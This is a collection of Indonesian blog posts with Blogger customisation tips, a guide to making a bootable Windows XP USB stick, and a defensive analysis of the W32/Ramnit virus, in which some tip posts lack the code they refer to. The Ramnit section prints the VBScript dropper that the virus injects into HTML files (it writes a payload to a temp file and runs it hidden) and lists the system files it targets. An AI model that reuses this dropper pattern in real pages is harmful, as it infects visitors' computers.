Agar dapat menambah fitur Al-quran online kedalam blog anda silahkan anda mengikuti proses tahapan sebagai berikut: 1.Cukup copy paste kode html berikut ini kedalam halaman blog anda :
2. Untuk mengatur tinggi halaman, cari kode : " height:400px " ganti "400px" dengan angka yang sesuai dengan kebutuhan blog anda. contoh: " 700px " (tanpa tanda kutip).
kode keseluruhan yang dihasilkan: <iframe src="http://m.alquran-indonesia.com/mquran/index.php/quran"style="border:0px;width:400px;height:700px" frameborder="0"></iframe>
3. Untuk mengatur lebar halaman, cari kode : " width:400px " ganti "400px" dengan angka yang sesuai dengan kebutuhan blog anda. contoh: " 650px " (tanpa tanda kutip).
kode keseluruhan yang dihasilkan: <iframe src="http://m.alquran-indonesia.com/mquran/index.php/quran"style="border:0px;width:650px;height:400px" frameborder="0"></iframe>
Kali ini saya akan memberikan sebuah solusi atau pemecahan bagi Anda yang memiliki masalah dengan loading blog yang cukup berat. Loading atau proses membuka pada sebuah program menjadi salah satu faktor penting bagi bekerjanya sebuah sistem. Begitu juga dengan loading sebuah blog, jika terlalu berat maka akan membuat kinerja blog yang kita kelola menjadi sulit untuk berkembang karena pengunjung pasti akan berkurang. Seorang pengunjung tidak mau lama-lama menunggu untuk melihat isi atau artikel yang ingin dibacanya. Mereka lebih memilih mengunjungi sebuah blog yang cepat proses membukanya, disamping lebih efisien waktu, mungkin juga biaya yang dikeluarkan lebih kecil jika mereka mesti bayar koneksi internet.
Blog yang saya bahas disini adalah blogspot, kecepatan loading blog platfrom blogger ini hanya tergantung pada seberapa banyak kode script yang kita masukkan ke dalam template tapi dengan asumsi kecepatan koneksi internet yang digunakan sama. Beda dengan Wordpress atau platform blog lain yang menggunakan hosting sendiri, kecepatan blog tergantung juga dengan jenis dan kapasitas hosting yang dipakainya. Umumnya blog yang loadingnya berat biasanya memakai template jenis magazine seperti yang sering saya buat, karena banyak sekali fitur yang dipasang pada homepage. Sebenarnya dari Google sendiri juga menyarankan agar loading blog lebih cepat, paling tidak hanya 9 post yang ada di homepage. Tapi karena semakin berkembangnya blogger, platform blog ini sekarang bisa lebih dikembangkan sehingga menyerupai bentuk blog-blog profesional seperti platform lainnya dengan konsekuensi loading blog yang semakin lambat.
Bagi Anda pengguna blogger, saya akan memberikan solusi logis untuk meningkatkan performa kecepatan loading blog, khususnya bagi anda pemakai template style magazine. Jika anda memakai sebuah template dengan menggunakan banyak fitur, seperti slider, label per categori atau lainnya. Pasti pernah menemukan sebuah script yang panjang (biasanya diletakkan diatas kode </head>) atau script yang sudah disimpan di tempat penyimpanan Google Code oleh si pembuat template.
Javascript yang belum disimpan di Google Code
Saya akan berikan contoh sebuah script dan cara menyimpannya di Google code anda sendiri. Perhatikan contoh script di bawah ini saya ambil yang sederhana :
<script language='javascript'> function Barva(koda) { document.getElementById("vzorec").bgColor=koda; document.hcc.barva.value=koda.toUpperCase(); document.hcc.barva.select(); } function BarvaDruga(koda) { document.getElementById("vzorec2").bgColor=koda; document.hcc.Barva2.value=koda.toUpperCase(); document.hcc.Barva2.select(); } </script>
Perhatikan kode warna biru disamping, buka notepad kemudian copy kode warna biru ke notepad. (hanya warna biru). Setelah itu klik save as, pada File name beri nama file itu dengan diakhiri .js (misalnya : contoh.js). Dan pada Save as type pilih All files, Encoding biarkan pada ANSI, seperti pada gambar di bawah :
Setelah proses penyimpanan file di komputer sekarang kita simpan di Google Code agar bisa dipasang pada template. Buka Google Code Anda, kalau belum pernah menggunakan Google Code sebelumnya, Anda harus membuatnya terlebih dahulu berikut caranya :
Setelah itu klik Create a new project seperti gambar diatas, setelah muncul jendela baru isi kotak kosong seperti contoh gambar di bawah.
Yang perlu anda perhatikan adalah dalam mengisi Version control system dan source code lisence, Anda harus isi seperti contoh gambar diatas. Untuk kolom lain bisa diisi terserah anda. Setelah itu klik Create project.
Anda sekarang sudah mempunyai akun di Google Code, langkah selanjutnya adalah menyimpan kode javascript yang sudah dibuat diatas di Google Code. Menuju ke tab 'Download' dan klik New download. Kemudian klik Browse dan pilih file javascript yang ingin diupload. Isi informasi yang berhubungan dengan file javascript tersebut kemudian klik Submit file.
File javascript anda sudah diupload ke Google code. Sekarang tinggal memanggilnya dan meletakkanya di template Anda. Klik file yang tadi sudah diupload, setelah itu akan terbuka jendela baru. Untuk mendapatkan direct link dari file yang anda upload. Klik kanan pada nama file tersebut kemudian pilih copy link location (firefox) atau salin alamat tautan (Chrome) seperti gambar dibawah.
Sekarang bagaimana menempatkan direct link tersebut ke dalam template? Perhatikan dua gambar di bawah ini :
Sebelum disimpan di Google code
Sesudah disimpan di Google code
Perhatikan kode block biru pada kedua gambar diatas, gambar atas belum diringkas dan pada gambar bawah kode sudah diringkas dan disimpan di tempat penyimpanan Google Code menjadi seperti ini :
Kode script diatas adalah kode ringkasan dari contoh kode script panjang paling atas dan warna merah adalah direct link file yang kita upload di Google Code pada langkah nomer 4 diatas.
Javascript yang sudah disimpan di Google Code
Nah sekarang bagaimana jika file javascript itu sudah disimpan di Google Code milik akun lain? Saya akan berikan contohnya dibawah :
URL Javascript warna merah diatas yang harus diganti dengan URL script dari Google Code anda. Caranya copy URL tersebut ke browser Anda seperti gambar dibawah :
Kemudian tekan Enter pada keyboard. Jika muncul pilihan save, Anda tinggal save file tersebut kemudian upload ke Google Code Anda seperti langkah nomer 3 diatas. Tetapi jika setelah tekan enter muncul kode javascript yang berderet-deret banyak sekali deh pokoknya, copy kan kode itu ke notepad kemudian simpan seperti pada gambar paling atas pada artikel ini. Setelah itu upload ke Google Code seperti langkah-langkah diatas. Setelah itu masukkan atau ganti URL warna merah pada javascript diatas dengan URL atau direct link dari google code yang sudah Anda upload.
Kok bisa ya dengan menyimpan javascript di tempat penyimpanan Google Code sendiri bisa meringankan loading blog? Penjelasannya seperti ini, jika Anda memakai sebuah template dengan menggunakan banyak script yang disimpan di Google Code oleh si pembuat template, pastinya tidak hanya Anda yang memakai template tersebut, pasti ada pengguna lain yang memakai template yang sama. Jika kedua blog dengan menggunakan template yang sama loading pada saat bersamaan pasti akan terasa semakin berat, kalau cuma dua atau tiga sih nggak terlalu terasa kalau yang memakai template itu banyak apa tidak semakin berat loadingnya? Disamping itu juga untuk berjaga-jaga jika sewaktu-waktu script si pembuat template rusak atau overload.
Itu tadi satu tips untuk mempercepat loading blog Anda dengan menyimpan file Javascript di Google Code Anda sendiri, silahkan dipahami dan semoga bermanfaat.
Ah…. Akhirnya bisa juga, setalah cari info sana-sini, Tanya sana-sini akhirnya gw bisa juga nginstallin notebook punya teman gw…..hahaha Mulanya gw bingung banget tu, gimana ya cara install ulang notebook? mana nggak ada CD-ROOMnya lagi?. Kemudian gw penasaran banget tu pengen tau installnya, pertama gw coba copy semua file di CD windows xp ke flashdisk… eh….tapi malah nggak kedetek waktu booting. Semakin penasarannya gw tanya sana-sini… ehh..akhirnya ketemu juga solusinya. Ternyata tu copy data ke flashdisknya bukan tinggal kopas(kopi paste) aja tapi ada caranya….hehehe (jadi malu gw…hehe) Sekarang gw mau share pengetahuan gw ini sama teman-teman yang pake notebook yang mau install ulang, tapi laptop sama komputer juga bisa diterapin juga kok, jadi bebas buat siapa aja….hehehe Oke, langsung saja kita ke topik bahasan. Pertama-tama berdoa dulu, dan siapin secangkir kopi biar mata melek….hehehe Dalam hal ini kita perlu pake komputer ato laptop, karena ada CD-ROOMnya yang bisa buat transfer data CD XP ke dalam flashdisk, dan siapin juga flashdisk dengan kapasitas minimal 1GB. Pertama kalian download dulu aplikasinya tinggal klik link di bawah ini : 1. PeToUSB 2. usb_prep8 Setelah kalian download, ekstrak dulu file yang kalian download dan letakin file hasil ekstrak dalam satu folder (file PeToUSB pindahin ke folder usb_prep8).
Setelah itu ikuti langkah-langkah berikut :
Jalankan file yang bernama usb_prep8, akan muncul command prompt seperti gambar di bawah
Tekan sembarang dan otomatis akan menjalankan program PeToUSB lalu muncul perintah untuk memformat flashdisk.
Checklist pada quickformat biar proses format agak cepat, lalu klik start, tunggu sampai proses selesai.
Setelah proses selesai tutup PeToUSB, tapi jangan tutup command promptusb_prep8.
Pada command prompt akan muncul beberapa pilihan.
Plih angka ‘1’ lalu enter, akan muncul sebuah perintah untuk menentukan lokasi dimana kalian menyimpan file CD XP(pilih pada CD-DRIVE) -> OK
Kemudian pada command prompt ada pilihan option lagi.
Pilih angka ’3′ -> enter
Kemudian pilih tempat flashdisk kalian tertancap, dalam contoh gambar di bawah letak USBnya di ‘j’, maka ketik ‘j’ -> enter
Setelah tahapan ini, pilihlah option nomer ‘4’ kemudian akan muncul perintah seperti gambar di bawah ini, pilih ‘Yes’
Kemudian akan muncul perintah seperti gambar dibawah ini, pilih ‘Y’
Lakukan instruksi sesuai perintah selama prosses, (kebanyakan “press any key to continue”)
Ketika muncul perintah seperti gambar di bawah ini, pilih “Yes”.
Tunggu prosses kira-kira memakan waktu 15 menit, kemudian akan muncul perintah seperti gambar di bawah ini, pilih ‘Yes’.
Setelah itu muncul perintah untuk meng-eject CD, pilih ‘Yes’. CD XP kalian keluar terus ambil CD
Pada commend prompt muncul bacaan tentang cara installnya “press any key to continue” baca dulu kalo mau baca lalu tekan sembarang.
Tara…… selamat anda telah mempunyai flashdisk yang bisa buat install notebook…hehehe Ternyata gampang ya…. o…ya jangan lupa setting BIOS biar flashdisk kebaca lebih dulu, atur pada BIOS order, letakkin posisi option USB pada posisi paling atas. Bagi yang notebooknya hardisk SATA, rubah pilihan hardisk SATA native support menjadi ATA native support (disable SATA native support) biar Installasi windows XP bisa kebaca sama hardisk kalian. Soalnya hardiskSATA tidak dapat membaca windows XP dan windows-windows tua (versi dibawah vista&7) lainnya. Semoga dapat membantu kalian…. GOODLUCK!!!!!!
Kebanyakan blog menggunakan bahasa internasional, yaitu bahasa Inggris dengan tujuan agar blognya dapat dimengerti oleh semua orang diseluruh dunia. Namun jangan khawatir apabila blog yang kita miliki berbahasa Indonesia, dengan menggunakan tambahan widget google translate maka blog kita yang berbahasa Indonesia akan dapat diterjemahkan ke dalam beberapa bahasa yang digunakan di dunia, seperti bahasa Inggris, Perancis, Italia, Jerman, Brazilia, Portugal, Yunani, Jepang, Cina, Korea, maupun bahasa Arab.
Pada kesempatan kali ini saya akan memberikan tutorial kepada teman-teman tentang cara memasang translate yang berupa gambar bendera. Tips ini baru saya dapatkan dari o-om. Baik, langsung saja pada langkah-langkahnya :
Pertama login ke blogger terlebih dahulu
Klik Tata Letak
Klik tab Elemen Halaman
KlikTambah Gadget
Pilih Tambah HTML/JavaScriptCopy pastekan code translate di bawah kedalam kolom yang tersedia.
Dari tetangga sebelah sob,sekalian mo promosi blog sahabat di AkuPunya.Com,script ini sengaja kami ambil untuk sekedar berbagi trik dan tips membuat efek loading di blog.
Bentuk fisiknya sobat dapat lihat di SINI,saat sobat membuka halaman atau mengklik link posting misalnya akan ada efek menunggu atau istilahnya dengan 'animation loading page widget'.
Jadi sambil sobat menunggu konten blog tampil sempurna,widget ini akan tampil dengan gambar animasi yang telah disediakan dalam script. Seperti yang telah AkuPunya.Com ciptakan,berikut bahan yang dibutuhkan:
1.Script dengan ekstention *.js,silakan lihat di:
http://tc.comze.com/js/preloadpage.js
2.Gambar yang akan tampil,disini adalah yang berformat *.gif yang beralamat di:
Tampilan akan seperti ini (gambar ini akan tampil jika yang bersangkutan masih mengabadikannya pent-):
3.Langkah dan caranya.
Langkah dan Cara Membuat Efek Loading Blog dari AkuPunya.Com
Pertama,pilih Dashboard lalu pilih Tata Letak / Rancangan(1) kemudian pilih tab Edit HTML(2),lalu seperti biasa contreng tulisan Exspand Widget Templates(3).
Lihat Gambar ya :D
(1)
(2)
(3)
Nah,selanjutnya cari kode <head> (Gunakan Ctrl+F),setelah ketemu sob,tepat dibawahnya letakkan kode berikut:
Dengan memasang emoticon di kotak komentar maka para komentator akan lebih mudah untuk mengekspresikan perasaannya. Selain itu, juga akan membuat blog kita lebih ekspresif bukan?
Nah untuk memasang emoticon dikotak komentar. Anda harus men-setting kotak komentar agar muncul dibawah postingan terlebih dahulu.Bagi anda yang kotak komentarnya berada pada halaman pop-up. Silahkan diatur dulu agar kotak komentarnya muncul di bawah postingan. Adapun memasang Emoticon pada Komentar blog langkah2nya sbb:
Log in
Klik rancangan
Edit HTML
centang expan pada kotak kecil
Cari kode </body>
Lalu letakkan script dibawah ini diatas kode </body>
Pada post kali ini saya akan menerbitkan post tentang "Cara memasang fitur Reply pada komentar blog". Mungkin tutorial ini sudah basi menurut sobat yang sudah tau. Memasang fitur reply pada komentar blog adalah salah satu alternatif agar pengunjung blog dapat membalas komentar seseorang. Cara memasangnya cukup mudah kok, ikuti langkah - langkah di bawah ini : 1. Login pada blog sobat 2. Template 3. Edit HTML lalu lanjutkan 4. Expand Template Widget 5. Cari kode yang mirip dengan kode
Jika sobat ingin mengganti tulisan Balas Komentar dengan gambar, ganti tulisan tersebut dengan kode di bawah ini / bisa di ganti dengan kode gambar sobat sendiri.
Kalau Christiano Ronaldo di ibaratkan sebagai Stuxnet, tentu anda bertanya virus apa yang diibaratkan sebagai Messi ? Jawabannya adalah Ramnit. Walaupun tidak eksplosif seperti Stuxnet, namun dengan kemampuan yang tidak kalah dengan Stuxnet dalam injeksi file korbannya, Ramnit jelas menginfeksi banyak komputer di Indonesia dan pelan tapi pasti mengokohkan dirinya sebagai salah satu virus jawara yang pelru diwaspadai oleh pengguna komputer di Indonesia. Apalagi varian teranyar Ramnit yang sekarang memiliki kemampuan mengeksploitasi celah keamanan LNK (Shortcut) sehingga ia mampu menyebarkan dirinya dengan membuat Shortcut.
Di tahun 2010 lalu, dominasi stuxnet yang memanfaatkan celah keamanan LNK (shortcut) merupakan sebuah salah satu langkah kerja cerdas dari pembuat malware. Bukan hanya sekedar mendominasi, tetapi juga menjadi trending topik malware di berbagai artikel dan analisis di seluruh dunia.
Di saat dominasi stuxnet masih booming hingga saat ini, sebaiknya kita perlu waspada pula terhadap varian malware baru yang berusaha menunjukkan eksistensi-nya dengan usaha kerja keras dari pembuat malware. Diantara varian malware yang patut di waspadai adalah yang terdeteksi sebagai W32/Ramnit oleh Norman Security Suite (lihat gambar 1). Saat ini varian malware ramnit telah menyebar dengan cepat di seluruh dunia. Serangan ramnit ikut melengkapi dominasi malware mancanegara yang menyebar di Indonesia.
Gambar 1, Norman mendeteksi malware W32/Ramnit
Keluarga malware W32/Ramnit Malware ramnit sesungguhnya bukanlah kelompok malware yang baru, melainkan sudah aktif menyebar pula di tahun 2010. Hanya karena adanya malware pengguna celah keamanan LNK seperti shortcut, sality, stuxnet, yang membuat malware ini tidak menjadi perhatian para analisis dan pengguna komputer di dunia.
Sama seperti stuxnet, varian pertama W32/Ramnit muncul pada pertengahan Juli dan Agustus 2010. Sedangkan varian kedua W32/Ramnit muncul pada Oktober dan Nopember 2010, bersamaan dengan heboh-nya serangan sality-shortcut. Dan pada pertengahan Januari 2011 saat ini yang muncul adalah varian ketiga dari keluarga W32/Ramnit yang mencoba mengikuti jejak para pendahulunya dengan menggunakan celah keamanan LNK (shortcut) untuk melakukan infeksi dan penyebaran.
Karakteristik W32/Ramnit Salah satu hal yang membuat kita perlu hati-hati terhadap W32/Ramnit yaitu karena malware ini termasuk kelompok virus yang melakukan infeksi file seperti Sality, Virut dan Alman. Hal ini bisa menjadi momok buat pengguna komputer, karena akan sulit membersihkan virus yang melakukan infeksi file terutama file executable (application).
W32/Ramnit merupakan salah satu varian virus yang melakukan infeksi file executable (application). Dan tidak hanya file executable, tetapi juga melakukan infeksi terhadap file web (HTML) dan file DLL (dynamic load library).
Selain itu, jika anda terhubung ke internet, ramnit akan menghubungi remote server (IRC server) dan melakukan koneksi ke beberapa alamat server zombie untuk mendownload sekumpulan malware (virus, trojan, spyware). Pada beberapa waktu tertentu, W32/Ramnit menggunakan iklan dan popup dengan konten pornografi dan perjudian (casino) maupun iklan komersial lain yang tentunya membuat anda tidak nyaman saat hendak browsing maupun surfing. Bayangkan kalau hal ini terjadi pada saat anak anda yang dibawah umur sedang menggunakan komputer yang anda proteksi dengan Parental Control. Bagi orang tua ini bencana karena anak anda terpapar pornografi (karena kemungkinan besar konten porno yang ditampilkan akan lolos dari Parental Control yang di pasang) dan bagi anak hal ini bisa-bisa dianggap "berkah" karena proteksi pornografi yang di pasang ternyata bisa diakali.
Dengan turut memanfaatkan celah keamanan LNK (shortcut), maka makin mempermudah langkahnya untuk menginfeksi pengguna komputer dengan cepat. Walaupun tidak semua varian ketiga W32/Ramnit menggunakan celah keamanan LNK (shortcut), tetapi hampir semua varian W32/Ramnit akan sangat sulit dibersihkan.
Gejala & Efek W32/Ramnit Beberapa gejala yang terjadi jika anda sudah terinfeksi yaitu :
Muncul pop-up iklan atau pop-up dengan konten pornografi/perjudian Dalam beberapa waktu tertentu, browser akan membuka pop-up iklan atau pop-up yang berisi konten pornografi atau perjudian (casino). Hal ini yang terkadang membuat pengguna komputer menjadi tidak nyaman. (lihat gambar 2)
Gambar 2, Pop-up iklan yang dijalankan W32/Ramnit
Muncul script error atau pop-up error setelah pop-up iklan yang muncul Setelah pop-up iklan yang muncul, akan muncul pop-up error atau script error dari browser. Muncul-nya script error ini mirip seperti virus "ARP Spoofing" pada tahun 2008. (lihat gambar 3)
Gambar 3, Pop-up error atau script error
Infeksi file EXE dan DLL Sama seperti varian malware sality, alman dan virut, W32/Ramnit melakukan infeksi file exe. Hanya saja, W32/Ramnit juga melakukan infeksi terhadap file DLL (dynamic load library).
File exe dan dll yang di-infeksi bertambah sekitar antara 100 - 120 kb, tergantung varian Ramnit yang menginfeksi. Meskipun begitu, tidak semua file exe dan dll yang di-infeksi.
Injeksi file HTML Selain menginfeksi file exe dan dll, W32/Ramnit juga melakukan injeksi terhadap file HTML. Injeksi dilakukan dengan menambahkan pada header dan footer. (lihat gambar 4 dan 5)
Pada header, W32/Ramnit menambahkan script : DropFileName = "svchost.exe"
Gambar 4, Script yang ditambahkan pada header file HTML
Sedangkan pada footer, W32/Ramnit menambahkan script : Set FSO = CreateObject ("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & '\" DropFileName If FSO.FileExists(DropPath)=False Then Set fileobj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step2 Fileobj.write chr (CLng("&H" & Mid(WriteData, i,2))) Next Fileobj.close End If Set WSHshell = CreateObject ("Wscript.shell") WSHshell.Run DropPath, 0
Gambar 5, Script yang ditambahkan pada footer file HTML
Membuat fungsi services Windows menjadi blank Dengan aksi melakukan injeksi file pada file IEXPLORE.EXE dan file services.exe, serta menambahkan script pada file web (htm/html) membuat fungsi dari services Windows menjadi blank. (lihat gambar 6)
Gambar 6, Fungsi Services Windows menjadi blank
Membuat komputer hang/lambat dan bahkan koneksi jaringan menjadi terputus. File sistem Windows yang akan menjadi sasaran injeksi W32/Ramnit yaitu :
C:\WINDOWS\system32\svchost.exe (file sistem yang berhubungan dengan koneksi jaringan, dengan menginjeksi akan membuat jaringan terputus)
C:\WINDOWS\system32\lsass.exe (file sistem yang berhubungan dengan aktifitas komputer, dengan menginjeksi akan membuat komputer hang/lambat).
C:\WINDOWS\system32\services.exe (file sistem yang berhubungan dengan services dan driver yang berjalan)
C:\Program Files\Internet Explorer\IEXPLORE.EXE (file executable dari browser internet explorer)
Aktif pada proses memory Malware W32/Ramnit mencoba melakukan koneksi ke Remote Server menggunakan Internet Explorer yang telah di injeksi. Hal ini bisa kita lihat pada proses task manager, walaupun kita tidak sedang membuka IE / Internet Explorer (lihat gambar 7)
Gambar 7, Proses IEXPLORE.EXE (Internet Explorer) yang telah di-injeksi oleh W32/Ramnit
Melakukan koneksi ke Remote Server Malware W32/Ramnit melakukan koneksi ke Remote Server untuk melakukan pengiriman informasi yang dibutuhkan pada Remote Server. Remote Server yang digunakan yaitu diantara-nya :
Melakukan transfer data ke Remote Server Selain mencoba melakukan koneksi dan ber-komunikasi dengan remote server, W32/Ramnit juga mencoba melakukan transfer data dari komputer korban ke Remote Server dan sebaliknya mengirim file malware ke dalam komputer korban. (lihat gambar 8)
Gambar 8, Transfer data antara komputer korban dengan Remote Server
Melakukan broadcast Sama seperti hal-nya worm Conficker, W32/Ramnit juga melakukan broadacast pada jaringan. Yang ber-beda adalah untuk W32/Ramnit hanya melakukan pada satu alamat yaitu : ADX.ADNXS.COM (lihat gambar 9)
Gambar 9, Broadcast yang dilakukan oleh W32/Ramnit
File virus W32/Ramnit Malware W32/Ramnit dibuat menggunakan bahasa pemrograman C yang di kompress menggunakan UPX. File malware memiliki ciri sebagai berikut :
Berukuran 105 kb
Type file "Application'
Menggunakan icon "folder music"
Extension "exe"
Saat W32/Ramnit dijalankan, maka akan menginjeksi beberapa file sistem Windows yaitu :
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\services.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
Jika terkoneksi ke internet, W32/Ramnit akan mendownload beberapa file dan folder malware sebagai berikut :
C:\Documents and Settings\%user%\Local Settings\Temp\[angka].tmp
C:\Documents and Settings\%user%\Local Settings\Temp\explorer.dat
C:\Documents and Settings\%user%\Local Settings\Temp\winlogon.dat
C:\Documents and Settings\%user%\Local Settings\Temp\[nama_acak].exe
C:\Documents and Settings\%user%\Start Menu\Programs\[nama_acak].exe
C:\Program Files\Intenet Explorer\complete.dat
C:\Program Files\Intenet Explorer\dmlconf.dat
C:\Program Files\win\[angka_acak].exe
C:\Program Files\qwe
C:\WINDOWS\[nama_acak].exe
C:\WINDOWS\System32\[nama_acak].dll
C:\WINDOWS\System32\[nama&angka_acak].dll
C:\WINDOWS\Temp\[angka].tmp
Selain itu, W32/Ramnit melakukan injeksi terhadap beberapa file berikut (jika ada) yaitu :
Metode Penyebaran Beberapa cara W32/Ramnit melakukan penyebaran yaitu sebagai berikut :
Drive by download (exploit) W32/Ramnit awalnya menyebar dengan memanfaatkan fitur drive by download pada system Windows. Dengan link-link yang tersebar pada forum atau e-mail, berusaha mengelabui user untuk menjalankan link tersebut. Selain itu juga saat akses pada website-website yang menyediakan konten atau plugin browser untuk di-download.
Removable drive/disk
Metode ini adalah metode yang umum dilakukan oleh para pengguna komputer. W32/Ramnit membuat banyak file agar menginfeksi komputer, serta ikut pula memanfaatkan celah keamanan LNK (shortcut). (lihat gambar 10)
Gambar 10, W32/Ramnit menginfeksi removable disk/drive
Jaringan W32/Ramnit berusaha melakukan injeksi terhadap beberapa file web (htm) tertentu di jaringan pada komputer yang melakukan mapping drive. Berikut file-file tersebut :
Blank.htm
Citrus Punch.htm
Clear Day.htm
Fiesta.htm
Ivy.htm
Leaves.htm
Maize.htm
Nature.htm
Network Blitz.htm
Pie Charts.htm
Sunflower.htm
Sweets.htm
Technical.htm
Tips Pencegahan dari Malware W32/Ramnit
Aktifkan Windows Firewall atau gunakan software firewall yang lain. Hal ini untuk mencegah dari akses yang tidak di-inginkan
Pastikan komputer sudah mendapatkan update terbaru dari system Windows. Untuk mempermudah gunakan update otomatis dari system seperti "Automatic Updates". Atau bisa juga dengan men-download patch terbaru dari website Microsoft.
Gunakan antivirus yang selalu terupdate dengan baik. Hal ini untuk mempermudah terhadap varian-varian dari malware yang baru.
Batasi akses terhadap akses administrator. Bagi pengguna Windows 7 dan Vista, pastikan UAC (user account control) telah berjalan dengan baik.
Berhati-hati saat membuka file attachment e-mail atau saat menerima transfer file dari orang yang tidak dikenal. Pastikan selalu di scan dengan antivirus yang terupdate.
Berhati-hati terhadap program crack/keygen atau program-program yang tidak dikenal. Karena bisa saja sudah terinfeksi atau mengandung malware.
Gunakan password yang tidak mudah dibaca dan diketahui. Pastikan selalu rubah password pada waktu-tertentu, dan bedakan password satu dengan lain-nya.
Matikan fitur "autoplay" Windows untuk mencegah program yang tidak diinginkan pada removable drive/disk berjalan secara otomatis
Matikan file sharing jika tidak digunakan. Jika memang menggunakan file sharing hanya berstatus read-only, atau konfigurasi sharing hanya untuk user-user tertentu.
Berhati-hati saat mengakses sebuah website atau forum yang menyediakan link-link tertentu untuk di-download atau di-install
